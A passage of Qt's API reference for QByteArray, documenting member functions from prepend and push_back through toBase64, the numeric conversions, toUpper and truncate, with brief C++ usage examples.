 Prepends the byte *ch* to this byte array.

 ### 
`[since 5.7]` [QByteArray](qbytearray#QByteArray) &QByteArray::prepend(qsizetype *count*, char *ch*)

 This is an overloaded function.

 Prepends *count* copies of byte *ch* to this byte array.

 This function was introduced in Qt 5.7.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::prepend(const char \**str*)

 This is an overloaded function.

 Prepends the '\0'-terminated string *str* to this byte array.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::prepend(const char \**str*, qsizetype *len*)

 This is an overloaded function.

 Prepends *len* bytes starting at *str* to this byte array. The bytes prepended may include '\0' bytes.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::prepend(const [QByteArray](qbytearray#QByteArray) &*ba*)

 This is an overloaded function.

 Prepends *ba* to this byte array.

 ### 
void QByteArray::push\_back(const [QByteArray](qbytearray#QByteArray) &*other*)

 This function is provided for STL compatibility. It is equivalent to append(*other*).

 ### 
void QByteArray::push\_back(char *ch*)

 This is an overloaded function.

 Same as append(*ch*).

 ### 
void QByteArray::push\_back(const char \**str*)

 This is an overloaded function.

 Same as append(*str*).

 ### 
`[since 6.0]` void QByteArray::push\_back([QByteArrayView](qbytearrayview) *str*)

 This is an overloaded function.

 Same as append(*str*).

 This function was introduced in Qt 6.0.

 ### 
void QByteArray::push\_front(const [QByteArray](qbytearray#QByteArray) &*other*)

 This function is provided for STL compatibility. It is equivalent to prepend(*other*).

 ### 
void QByteArray::push\_front(char *ch*)

 This is an overloaded function.

 Same as prepend(*ch*).

 ### 
void QByteArray::push\_front(const char \**str*)

 This is an overloaded function.

 Same as prepend(*str*).

 ### 
`[since 6.0]` void QByteArray::push\_front([QByteArrayView](qbytearrayview) *str*)

 This is an overloaded function.

 Same as prepend(*str*).

 This function was introduced in Qt 6.0.

 ### 
`[since 5.6]` [QByteArray::reverse\_iterator](qbytearray#reverse_iterator-typedef) QByteArray::rbegin()

 Returns a [STL-style](containers#stl-style-iterators) reverse iterator pointing to the first byte in the byte-array, in reverse order.

  **Warning:** The returned iterator is invalidated on detachment or when the [QByteArray](qbytearray) is modified.

  This function was introduced in Qt 5.6.

 **See also** [begin](qbytearray#begin)(), [crbegin](qbytearray#crbegin)(), and [rend](qbytearray#rend)().

 ### 
`[since 5.6]` [QByteArray::const\_reverse\_iterator](qbytearray#const_reverse_iterator-typedef) QByteArray::rbegin() const

 This is an overloaded function.

 This function was introduced in Qt 5.6.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::remove(qsizetype *pos*, qsizetype *len*)

 Removes *len* bytes from the array, starting at index position *pos*, and returns a reference to the array.

 If *pos* is out of range, nothing happens. If *pos* is valid, but *pos* + *len* is larger than the size of the array, the array is truncated at position *pos*.

 Example:

 
```
QByteArray ba("Montreal");
ba.remove(1, 4);
// ba == "Meal"
```
 Element removal will preserve the array's capacity and not reduce the amount of allocated memory. To shed extra capacity and free as much memory as possible, call [squeeze](qbytearray#squeeze)() after the last change to the array's size.

 **See also** [insert](qbytearray#insert)(), [replace](qbytearray#replace)(), and [squeeze](qbytearray#squeeze)().

 ### 
`[since 6.1]` template <typename Predicate> [QByteArray](qbytearray#QByteArray) &QByteArray::removeIf(Predicate *pred*)

 Removes all bytes for which the predicate *pred* returns true from the byte array. Returns a reference to the byte array.

 This function was introduced in Qt 6.1.

 **See also** [remove](qbytearray#remove)().

 ### 
`[since 5.6]` [QByteArray::reverse\_iterator](qbytearray#reverse_iterator-typedef) QByteArray::rend()

 Returns a [STL-style](containers#stl-style-iterators) reverse iterator pointing just after the last byte in the byte-array, in reverse order.

  **Warning:** The returned iterator is invalidated on detachment or when the [QByteArray](qbytearray) is modified.

  This function was introduced in Qt 5.6.

 **See also** [end](qbytearray#end)(), [crend](qbytearray#crend)(), and [rbegin](qbytearray#rbegin)().

 ### 
`[since 5.6]` [QByteArray::const\_reverse\_iterator](qbytearray#const_reverse_iterator-typedef) QByteArray::rend() const

 This is an overloaded function.

 This function was introduced in Qt 5.6.

 ### 
[QByteArray](qbytearray#QByteArray) QByteArray::repeated(qsizetype *times*) const

 Returns a copy of this byte array repeated the specified number of *times*.

 If *times* is less than 1, an empty byte array is returned.

 Example:

 
```
QByteArray ba("ab");
ba.repeated(4);             // returns "abababab"
```
 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::replace(qsizetype *pos*, qsizetype *len*, [QByteArrayView](qbytearrayview) *after*)

 Replaces *len* bytes from index position *pos* with the byte array *after*, and returns a reference to this byte array.

 Example:

 
```
QByteArray x("Say yes!");
QByteArray y("no");
x.replace(4, 3, y);
// x == "Say no!"
```
 **See also** [insert](qbytearray#insert)() and [remove](qbytearray#remove)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::replace(qsizetype *pos*, qsizetype *len*, const char \**after*, qsizetype *alen*)

 This is an overloaded function.

 Replaces *len* bytes from index position *pos* with *alen* bytes starting at position *after*. The bytes inserted may include '\0' bytes.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::replace(char *before*, [QByteArrayView](qbytearrayview) *after*)

 This is an overloaded function.

 Replaces every occurrence of the byte *before* with the byte array *after*.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::replace(const char \**before*, qsizetype *bsize*, const char \**after*, qsizetype *asize*)

 This is an overloaded function.

 Replaces every occurrence of the *bsize* bytes starting at *before* with the *asize* bytes starting at *after*. Since the sizes of the strings are given by *bsize* and *asize*, they may contain '\0' bytes and do not need to be '\0'-terminated.

 ### 
`[since 6.0]` [QByteArray](qbytearray#QByteArray) &QByteArray::replace([QByteArrayView](qbytearrayview) *before*, [QByteArrayView](qbytearrayview) *after*)

 This is an overloaded function.

 Replaces every occurrence of the byte array *before* with the byte array *after*.

 Example:

 
```
QByteArray ba("colour behaviour flavour neighbour");
ba.replace(QByteArray("ou"), QByteArray("o"));
// ba == "color behavior flavor neighbor"
```
 This function was introduced in Qt 6.0.

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::replace(char *before*, char *after*)

 This is an overloaded function.

 Replaces every occurrence of the byte *before* with the byte *after*.

 ### 
void QByteArray::reserve(qsizetype *size*)

 Attempts to allocate memory for at least *size* bytes.

 If you know in advance how large the byte array will be, you can call this function, and if you call [resize](qbytearray#resize)() often you are likely to get better performance.

 If in doubt about how much space shall be needed, it is usually better to use an upper bound as *size*, or a high estimate of the most likely size, if a strict upper bound would be much bigger than this. If *size* is an underestimate, the array will grow as needed once the reserved size is exceeded, which may lead to a larger allocation than your best overestimate would have and will slow the operation that triggers it.

  **Warning:** reserve() reserves memory but does not change the size of the byte array. Accessing data beyond the end of the byte array is undefined behavior. If you need to access memory beyond the current end of the array, use [resize](qbytearray#resize)().

  The sole purpose of this function is to provide a means of fine tuning [QByteArray](qbytearray)'s memory usage. In general, you will rarely ever need to call this function.

 **See also** [squeeze](qbytearray#squeeze)() and [capacity](qbytearray#capacity)().

 ### 
void QByteArray::resize(qsizetype *size*)

 Sets the size of the byte array to *size* bytes.

 If *size* is greater than the current size, the byte array is extended to make it *size* bytes with the extra bytes added to the end. The new bytes are uninitialized.

 If *size* is less than the current size, bytes beyond position *size* are excluded from the byte array.

  **Note:** While resize() will grow the capacity if needed, it never shrinks capacity. To shed excess capacity, use [squeeze](qbytearray#squeeze)().

  **See also** [size](qbytearray#size)(), [truncate](qbytearray#truncate)(), and [squeeze](qbytearray#squeeze)().

 ### 
[QByteArray](qbytearray#QByteArray) QByteArray::right(qsizetype *len*) const

 Returns a byte array that contains the last *len* bytes of this byte array.

 If you know that *len* cannot be out of bounds, use [last](qbytearray#last)() instead in new code, because it is faster.

 The entire byte array is returned if *len* is greater than [size](qbytearray#size)().

 Returns an empty [QByteArray](qbytearray) if *len* is smaller than 0.

 **See also** [endsWith](qbytearray#endsWith)(), [last](qbytearray#last)(), [first](qbytearray#first)(), [sliced](qbytearray#sliced)(), [chopped](qbytearray#chopped)(), [chop](qbytearray#chop)(), and [truncate](qbytearray#truncate)().

 ### 
[QByteArray](qbytearray#QByteArray) QByteArray::rightJustified(qsizetype *width*, char *fill* = ' ', bool *truncate* = false) const

 Returns a byte array of size *width* that contains the *fill* byte followed by this byte array.

 If *truncate* is false and the size of the byte array is more than *width*, then the returned byte array is a copy of this byte array.

 If *truncate* is true and the size of the byte array is more than *width*, then the resulting byte array is truncated at position *width*.

 Example:

 
```
QByteArray x("apple");
QByteArray y = x.rightJustified(8, '.');    // y == "...apple"
```
 **See also** [leftJustified](qbytearray#leftJustified)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::setNum(int *n*, int *base* = 10)

 Represent the whole number *n* as text.

 Sets this byte array to a string representing *n* in base *base* (ten by default) and returns a reference to this byte array. Bases 2 through 36 are supported, using letters for digits beyond 9; A is ten, B is eleven and so on.

 Example:

 
```
QByteArray ba;
int n = 63;
ba.setNum(n);           // ba == "63"
ba.setNum(n, 16);       // ba == "3f"
```
  **Note:** The format of the number is not localized; the default C locale is used regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  **See also** [number](qbytearray#number)() and [toInt](qbytearray#toInt)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::setNum(short *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toShort](qbytearray#toShort)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::setNum([ushort](qtglobal#ushort-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toUShort](qbytearray#toUShort)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::setNum([uint](qtglobal#uint-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toUInt](qbytearray#toUInt)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::setNum(long *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toLong](qbytearray#toLong)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::setNum([ulong](qtglobal#ulong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toULong](qbytearray#toULong)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::setNum([qlonglong](qtglobal#qlonglong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toLongLong](qbytearray#toLongLong)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::setNum([qulonglong](qtglobal#qulonglong-typedef) *n*, int *base* = 10)

 This is an overloaded function.

 **See also** [toULongLong](qbytearray#toULongLong)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::setNum(float *n*, char *format* = 'g', int *precision* = 6)

 This is an overloaded function.

 Represent the floating-point number *n* as text.

 Sets this byte array to a string representing *n*, with a given *format* and *precision* (with the same meanings as for [QString::number](qstring#number-6)(double, char, int)), and returns a reference to this byte array.

 **See also** [toFloat](qbytearray#toFloat)().

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::setNum(double *n*, char *format* = 'g', int *precision* = 6)

 This is an overloaded function.

 Represent the floating-point number *n* as text.

 Sets this byte array to a string representing *n*, with a given *format* and *precision* (with the same meanings as for [QString::number](qstring#number-6)(double, char, int)), and returns a reference to this byte array.

 **See also** [toDouble](qbytearray#toDouble)() and [QLocale::FloatingPointPrecisionOption](qlocale#FloatingPointPrecisionOption-enum).

 ### 
[QByteArray](qbytearray#QByteArray) &QByteArray::setRawData(const char \**data*, qsizetype *size*)

 Resets the [QByteArray](qbytearray) to use the first *size* bytes of the *data* array. The bytes are *not* copied. The [QByteArray](qbytearray) will contain the *data* pointer. The caller guarantees that *data* will not be deleted or modified as long as this [QByteArray](qbytearray) and any copies of it exist that have not been modified.

 This function can be used instead of [fromRawData](qbytearray#fromRawData)() to re-use existing [QByteArray](qbytearray) objects to save memory re-allocations.

 **See also** [fromRawData](qbytearray#fromRawData)(), [data](qbytearray#data)(), and [constData](qbytearray#constData)().

 ### 
`[since 5.10]` void QByteArray::shrink\_to\_fit()

 This function is provided for STL compatibility. It is equivalent to [squeeze](qbytearray#squeeze)().

 This function was introduced in Qt 5.10.

 ### 
[QByteArray](qbytearray#QByteArray) QByteArray::simplified() const

 Returns a copy of this byte array that has spacing characters removed from the start and end, and in which each sequence of internal spacing characters is replaced with a single space.

 The spacing characters are those for which the standard C++ `isspace()` function returns `true` in the C locale; these are the ASCII characters tabulation '\t', line feed '\n', carriage return '\r', vertical tabulation '\v', form feed '\f', and space ' '.

 Example:

 
```
QByteArray ba("  lots\t of\nwhitespace\r\n ");
ba = ba.simplified();
// ba == "lots of whitespace";
```
 **See also** [trimmed](qbytearray#trimmed)(), [QChar::SpecialCharacter](qchar#SpecialCharacter-enum), and [Spacing Characters](qbytearray#spacing-characters).

 ### 
qsizetype QByteArray::size() const

 Returns the number of bytes in this byte array.

 The last byte in the byte array is at position size() - 1. In addition, [QByteArray](qbytearray) ensures that the byte at position size() is always '\0', so that you can use the return value of [data](qbytearray#data)() and [constData](qbytearray#constData)() as arguments to functions that expect '\0'-terminated strings. If the [QByteArray](qbytearray) object was created from a [raw data](qbytearray#fromRawData) that didn't include the trailing '\0'-termination byte, then [QByteArray](qbytearray) doesn't add it automatically unless a [deep copy](implicit-sharing#deep-copy) is created.

 Example:

 
```
QByteArray ba("Hello");
qsizetype n = ba.size();    // n == 5
ba.data()[0];               // returns 'H'
ba.data()[4];               // returns 'o'
ba.data()[5];               // returns '\0'
```
 **See also** [isEmpty](qbytearray#isEmpty)() and [resize](qbytearray#resize)().

 ### 
`[since 6.0]` [QByteArray](qbytearray#QByteArray) QByteArray::sliced(qsizetype *pos*, qsizetype *n*) const

 Returns a byte array containing the *n* bytes of this object starting at position *pos*.

  **Note:** The behavior is undefined when *pos* < 0, *n* < 0, or *pos* + *n* > [size](qbytearray#size)().

  Example:

 
```
QByteArray x("Five pineapples");
QByteArray y = x.sliced(5, 4);     // y == "pine"
QByteArray z = x.sliced(5);        // z == "pineapples"
```
 This function was introduced in Qt 6.0.

 **See also** [first](qbytearray#first)(), [last](qbytearray#last)(), [chopped](qbytearray#chopped)(), [chop](qbytearray#chop)(), and [truncate](qbytearray#truncate)().

 ### 
`[since 6.0]` [QByteArray](qbytearray#QByteArray) QByteArray::sliced(qsizetype *pos*) const

 This is an overloaded function.

 Returns a byte array containing the bytes starting at position *pos* in this object, and extending to the end of this object.

  **Note:** The behavior is undefined when *pos* < 0 or *pos* > [size](qbytearray#size)().

  This function was introduced in Qt 6.0.

 **See also** [first](qbytearray#first)(), [last](qbytearray#last)(), [sliced](qbytearray#sliced)(), [chopped](qbytearray#chopped)(), [chop](qbytearray#chop)(), and [truncate](qbytearray#truncate)().

 ### 
[QList](qlist)<[QByteArray](qbytearray#QByteArray)> QByteArray::split(char *sep*) const

 Splits the byte array into subarrays wherever *sep* occurs, and returns the list of those arrays. If *sep* does not match anywhere in the byte array, split() returns a single-element list containing this byte array.

 ### 
void QByteArray::squeeze()

 Releases any memory not required to store the array's data.

 The sole purpose of this function is to provide a means of fine tuning [QByteArray](qbytearray)'s memory usage. In general, you will rarely ever need to call this function.

 **See also** [reserve](qbytearray#reserve)() and [capacity](qbytearray#capacity)().

 ### 
`[since 6.0]` bool QByteArray::startsWith([QByteArrayView](qbytearrayview) *bv*) const

 Returns `true` if this byte array starts with the sequence of bytes viewed by *bv*; otherwise returns `false`.

 Example:

 
```
QByteArray url("ftp://ftp.qt-project.org/");
if (url.startsWith("ftp:"))
    ...
```
 This function was introduced in Qt 6.0.

 **See also** [endsWith](qbytearray#endsWith)() and [first](qbytearray#first)().

 ### 
bool QByteArray::startsWith(char *ch*) const

 This is an overloaded function.

 Returns `true` if this byte array starts with byte *ch*; otherwise returns `false`.

 ### 
void QByteArray::swap([QByteArray](qbytearray#QByteArray) &*other*)

 Swaps byte array *other* with this byte array. This operation is very fast and never fails.

 ### 
`[since 5.2]` [QByteArray](qbytearray#QByteArray) QByteArray::toBase64([QByteArray::Base64Options](qbytearray#Base64Option-enum) *options* = Base64Encoding) const

 Returns a copy of the byte array, encoded using the options *options*.

 
```
QByteArray text("Qt is great!");
text.toBase64();        // returns "UXQgaXMgZ3JlYXQh"

QByteArray text("<p>Hello?</p>");
text.toBase64(QByteArray::Base64Encoding | QByteArray::OmitTrailingEquals);      // returns "PHA+SGVsbG8/PC9wPg"
text.toBase64(QByteArray::Base64Encoding);                                       // returns "PHA+SGVsbG8/PC9wPg=="
text.toBase64(QByteArray::Base64UrlEncoding);                                    // returns "PHA-SGVsbG8_PC9wPg=="
text.toBase64(QByteArray::Base64UrlEncoding | QByteArray::OmitTrailingEquals);   // returns "PHA-SGVsbG8_PC9wPg"
```
 The algorithm used to encode Base64-encoded data is defined in [RFC 4648](https://datatracker.ietf.org/doc/html/rfc4648).

 This function was introduced in Qt 5.2.

 **See also** [fromBase64](qbytearray#fromBase64)().

 ### 
`[since 5.3]` CFDataRef QByteArray::toCFData() const

 Creates a CFData from a [QByteArray](qbytearray).

 The caller owns the CFData object and is responsible for releasing it.

 This function was introduced in Qt 5.3.

 **See also** [toRawCFData](qbytearray#toRawCFData)(), [fromCFData](qbytearray#fromCFData)(), [fromRawCFData](qbytearray#fromRawCFData)(), and [fromRawData](qbytearray#fromRawData)().

 ### 
double QByteArray::toDouble(bool \**ok* = nullptr) const

 Returns the byte array converted to a `double` value.

 Returns an infinity if the conversion overflows or 0.0 if the conversion fails for other reasons (e.g. underflow).

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 
```
QByteArray string("1234.56");
bool ok;
double a = string.toDouble(&ok);   // a == 1234.56, ok == true

string = "1234.56 Volt";
a = str.toDouble(&ok);             // a == 0, ok == false
```
  **Warning:** The [QByteArray](qbytearray) content may only contain valid numerical characters which includes the plus/minus sign, the character e used in scientific notation, and the decimal point. Including the unit or additional characters leads to a conversion error.

   **Note:** The conversion of the number is performed in the default C locale, regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  This function ignores leading and trailing whitespace.

 **See also** [number](qbytearray#number)().

 ### 
float QByteArray::toFloat(bool \**ok* = nullptr) const

 Returns the byte array converted to a `float` value.

 Returns an infinity if the conversion overflows or 0.0 if the conversion fails for other reasons (e.g. underflow).

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 
```
QByteArray string("1234.56");
bool ok;
float a = string.toFloat(&ok);    // a == 1234.56, ok == true

string = "1234.56 Volt";
a = str.toFloat(&ok);              // a == 0, ok == false
```
  **Warning:** The [QByteArray](qbytearray) content may only contain valid numerical characters which includes the plus/minus sign, the character e used in scientific notation, and the decimal point. Including the unit or additional characters leads to a conversion error.

   **Note:** The conversion of the number is performed in the default C locale, regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  This function ignores leading and trailing whitespace.

 **See also** [number](qbytearray#number)().

 ### 
`[since 5.9]` [QByteArray](qbytearray#QByteArray) QByteArray::toHex(char *separator* = '\0') const

 Returns a hex encoded copy of the byte array.

 The hex encoding uses the numbers 0-9 and the letters a-f.

 If *separator* is not '\0', the separator character is inserted between the hex bytes.

 Example:

 
```
QByteArray macAddress = QByteArray::fromHex("123456abcdef");
macAddress.toHex(':'); // returns "12:34:56:ab:cd:ef"
macAddress.toHex(0);   // returns "123456abcdef"
```
 This function was introduced in Qt 5.9.

 **See also** [fromHex](qbytearray#fromHex)().

 ### 
int QByteArray::toInt(bool \**ok* = nullptr, int *base* = 10) const

 Returns the byte array converted to an `int` using base *base*, which is ten by default. Bases 0 and 2 through 36 are supported, using letters for digits beyond 9; A is ten, B is eleven and so on.

 If *base* is 0, the base is determined automatically using the following rules: If the byte array begins with "0x", it is assumed to be hexadecimal (base 16); otherwise, if it begins with "0", it is assumed to be octal (base 8); otherwise it is assumed to be decimal.

 Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 
```
QByteArray str("FF");
bool ok;
int hex = str.toInt(&ok, 16);     // hex == 255, ok == true
int dec = str.toInt(&ok, 10);     // dec == 0, ok == false
```
  **Note:** The conversion of the number is performed in the default C locale, regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  **See also** [number](qbytearray#number)().

 ### 
long QByteArray::toLong(bool \**ok* = nullptr, int *base* = 10) const

 Returns the byte array converted to a `long` int using base *base*, which is ten by default. Bases 0 and 2 through 36 are supported, using letters for digits beyond 9; A is ten, B is eleven and so on.

 If *base* is 0, the base is determined automatically using the following rules: If the byte array begins with "0x", it is assumed to be hexadecimal (base 16); otherwise, if it begins with "0", it is assumed to be octal (base 8); otherwise it is assumed to be decimal.

 Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 
```
QByteArray str("FF");
bool ok;
long hex = str.toLong(&ok, 16);   // hex == 255, ok == true
long dec = str.toLong(&ok, 10);   // dec == 0, ok == false
```
  **Note:** The conversion of the number is performed in the default C locale, regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  **See also** [number](qbytearray#number)().

 ### 
[qlonglong](qtglobal#qlonglong-typedef) QByteArray::toLongLong(bool \**ok* = nullptr, int *base* = 10) const

 Returns the byte array converted to a `long long` using base *base*, which is ten by default. Bases 0 and 2 through 36 are supported, using letters for digits beyond 9; A is ten, B is eleven and so on.

 If *base* is 0, the base is determined automatically using the following rules: If the byte array begins with "0x", it is assumed to be hexadecimal (base 16); otherwise, if it begins with "0", it is assumed to be octal (base 8); otherwise it is assumed to be decimal.

 Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

  **Note:** The conversion of the number is performed in the default C locale, regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  **See also** [number](qbytearray#number)().

 ### 
[QByteArray](qbytearray#QByteArray) QByteArray::toLower() const

 Returns a copy of the byte array in which each ASCII uppercase letter converted to lowercase.

 Example:

 
```
QByteArray x("Qt by THE QT COMPANY");
QByteArray y = x.toLower();
// y == "qt by the qt company"
```
 **See also** [isLower](qbytearray#isLower)(), [toUpper](qbytearray#toUpper)(), and [Character Case](qbytearray#character-case).

 ### 
`[since 5.3]` NSData \*QByteArray::toNSData() const

 Creates a NSData from a [QByteArray](qbytearray).

 The NSData object is autoreleased.

 This function was introduced in Qt 5.3.

 **See also** [fromNSData](qbytearray#fromNSData)(), [fromRawNSData](qbytearray#fromRawNSData)(), [fromRawData](qbytearray#fromRawData)(), and [toRawNSData](qbytearray#toRawNSData)().

 ### 
[QByteArray](qbytearray#QByteArray) QByteArray::toPercentEncoding(const [QByteArray](qbytearray#QByteArray) &*exclude* = QByteArray(), const [QByteArray](qbytearray#QByteArray) &*include* = QByteArray(), char *percent* = '%') const

 Returns a URI/URL-style percent-encoded copy of this byte array. The *percent* parameter allows you to override the default '%' character for another.

 By default, this function will encode all bytes that are not one of the following:

 ALPHA ("a" to "z" and "A" to "Z") / DIGIT (0 to 9) / "-" / "." / "\_" / "~"

 To prevent bytes from being encoded pass them to *exclude*. To force bytes to be encoded pass them to *include*. The *percent* character is always encoded.

 Example:

 
```
QByteArray text = "{a fishy string?}";
QByteArray ba = text.toPercentEncoding("{}", "s");
qDebug(ba.constData());
// prints "{a fi%73hy %73tring%3F}"
```
 The hex encoding uses the numbers 0-9 and the uppercase letters A-F.

 **See also** [fromPercentEncoding](qbytearray#fromPercentEncoding)() and [QUrl::toPercentEncoding](qurl#toPercentEncoding)().

 ### 
`[since 5.3]` CFDataRef QByteArray::toRawCFData() const

 Constructs a CFData that uses the bytes of the [QByteArray](qbytearray).

 The [QByteArray](qbytearray)'s bytes are not copied.

 The caller guarantees that the [QByteArray](qbytearray) will not be deleted or modified as long as this CFData object exists.

 This function was introduced in Qt 5.3.

 **See also** [toCFData](qbytearray#toCFData)(), [fromRawCFData](qbytearray#fromRawCFData)(), [fromCFData](qbytearray#fromCFData)(), and [fromRawData](qbytearray#fromRawData)().

 ### 
`[since 5.3]` NSData \*QByteArray::toRawNSData() const

 Constructs a NSData that uses the bytes of the [QByteArray](qbytearray).

 The [QByteArray](qbytearray)'s bytes are not copied.

 The caller guarantees that the [QByteArray](qbytearray) will not be deleted or modified as long as this NSData object exists.

 This function was introduced in Qt 5.3.

 **See also** [fromRawNSData](qbytearray#fromRawNSData)(), [fromNSData](qbytearray#fromNSData)(), [fromRawData](qbytearray#fromRawData)(), and [toNSData](qbytearray#toNSData)().

 ### 
short QByteArray::toShort(bool \**ok* = nullptr, int *base* = 10) const

 Returns the byte array converted to a `short` using base *base*, which is ten by default. Bases 0 and 2 through 36 are supported, using letters for digits beyond 9; A is ten, B is eleven and so on.

 If *base* is 0, the base is determined automatically using the following rules: If the byte array begins with "0x", it is assumed to be hexadecimal; otherwise, if it begins with "0", it is assumed to be octal; otherwise it is assumed to be decimal.

 Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

  **Note:** The conversion of the number is performed in the default C locale, regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  **See also** [number](qbytearray#number)().

 ### 
`[since 5.4]` std::string QByteArray::toStdString() const

 Returns a std::string object with the data contained in this [QByteArray](qbytearray).

 This operator is mostly useful to pass a [QByteArray](qbytearray) to a function that accepts a std::string object.

 This function was introduced in Qt 5.4.

 **See also** [fromStdString](qbytearray#fromStdString)() and [QString::toStdString](qstring#toStdString)().

 ### 
[uint](qtglobal#uint-typedef) QByteArray::toUInt(bool \**ok* = nullptr, int *base* = 10) const

 Returns the byte array converted to an `unsigned int` using base *base*, which is ten by default. Bases 0 and 2 through 36 are supported, using letters for digits beyond 9; A is ten, B is eleven and so on.

 If *base* is 0, the base is determined automatically using the following rules: If the byte array begins with "0x", it is assumed to be hexadecimal (base 16); otherwise, if it begins with "0", it is assumed to be octal (base 8); otherwise it is assumed to be decimal.

 Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

  **Note:** The conversion of the number is performed in the default C locale, regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  **See also** [number](qbytearray#number)().

 ### 
[ulong](qtglobal#ulong-typedef) QByteArray::toULong(bool \**ok* = nullptr, int *base* = 10) const

 Returns the byte array converted to an `unsigned long int` using base *base*, which is ten by default. Bases 0 and 2 through 36 are supported, using letters for digits beyond 9; A is ten, B is eleven and so on.

 If *base* is 0, the base is determined automatically using the following rules: If the byte array begins with "0x", it is assumed to be hexadecimal (base 16); otherwise, if it begins with "0", it is assumed to be octal (base 8); otherwise it is assumed to be decimal.

 Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

  **Note:** The conversion of the number is performed in the default C locale, regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  **See also** [number](qbytearray#number)().

 ### 
[qulonglong](qtglobal#qulonglong-typedef) QByteArray::toULongLong(bool \**ok* = nullptr, int *base* = 10) const

 Returns the byte array converted to an `unsigned long long` using base *base*, which is ten by default. Bases 0 and 2 through 36 are supported, using letters for digits beyond 9; A is ten, B is eleven and so on.

 If *base* is 0, the base is determined automatically using the following rules: If the byte array begins with "0x", it is assumed to be hexadecimal (base 16); otherwise, if it begins with "0", it is assumed to be octal (base 8); otherwise it is assumed to be decimal.

 Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

  **Note:** The conversion of the number is performed in the default C locale, regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  **See also** [number](qbytearray#number)().

 ### 
[ushort](qtglobal#ushort-typedef) QByteArray::toUShort(bool \**ok* = nullptr, int *base* = 10) const

 Returns the byte array converted to an `unsigned short` using base *base*, which is ten by default. Bases 0 and 2 through 36 are supported, using letters for digits beyond 9; A is ten, B is eleven and so on.

 If *base* is 0, the base is determined automatically using the following rules: If the byte array begins with "0x", it is assumed to be hexadecimal; otherwise, if it begins with "0", it is assumed to be octal; otherwise it is assumed to be decimal.

 Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

  **Note:** The conversion of the number is performed in the default C locale, regardless of the user's locale. Use [QLocale](qlocale) to perform locale-aware conversions between numbers and strings.

  **See also** [number](qbytearray#number)().

 ### 
[QByteArray](qbytearray#QByteArray) QByteArray::toUpper() const

 Returns a copy of the byte array in which each ASCII lowercase letter converted to uppercase.

 Example:

 
```
QByteArray x("Qt by THE QT COMPANY");
QByteArray y = x.toUpper();
// y == "QT BY THE QT COMPANY"
```
 **See also** [isUpper](qbytearray#isUpper)(), [toLower](qbytearray#toLower)(), and [Character Case](qbytearray#character-case).

 ### 
[QByteArray](qbytearray#QByteArray) QByteArray::trimmed() const

 Returns a copy of this byte array with spacing characters removed from the start and end.

 The spacing characters are those for which the standard C++ `isspace()` function returns `true` in the C locale; these are the ASCII characters tabulation '\t', line feed '\n', carriage return '\r', vertical tabulation '\v', form feed '\f', and space ' '.

 Example:

 
```
QByteArray ba("  lots\t of\nwhitespace\r\n ");
ba = ba.trimmed();
// ba == "lots\t of\nwhitespace";
```
 Unlike [simplified](qbytearray#simplified)(), trimmed() leaves internal spacing unchanged.

 **See also** [simplified](qbytearray#simplified)(), [QChar::SpecialCharacter](qchar#SpecialCharacter-enum), and [Spacing Characters](qbytearray#spacing-characters).

 ### 
void QByteArray::truncate(qsizetype *pos*)

 Truncates the byte array at index position *pos*.

 If *pos* is beyond the end of the array, nothing happens.
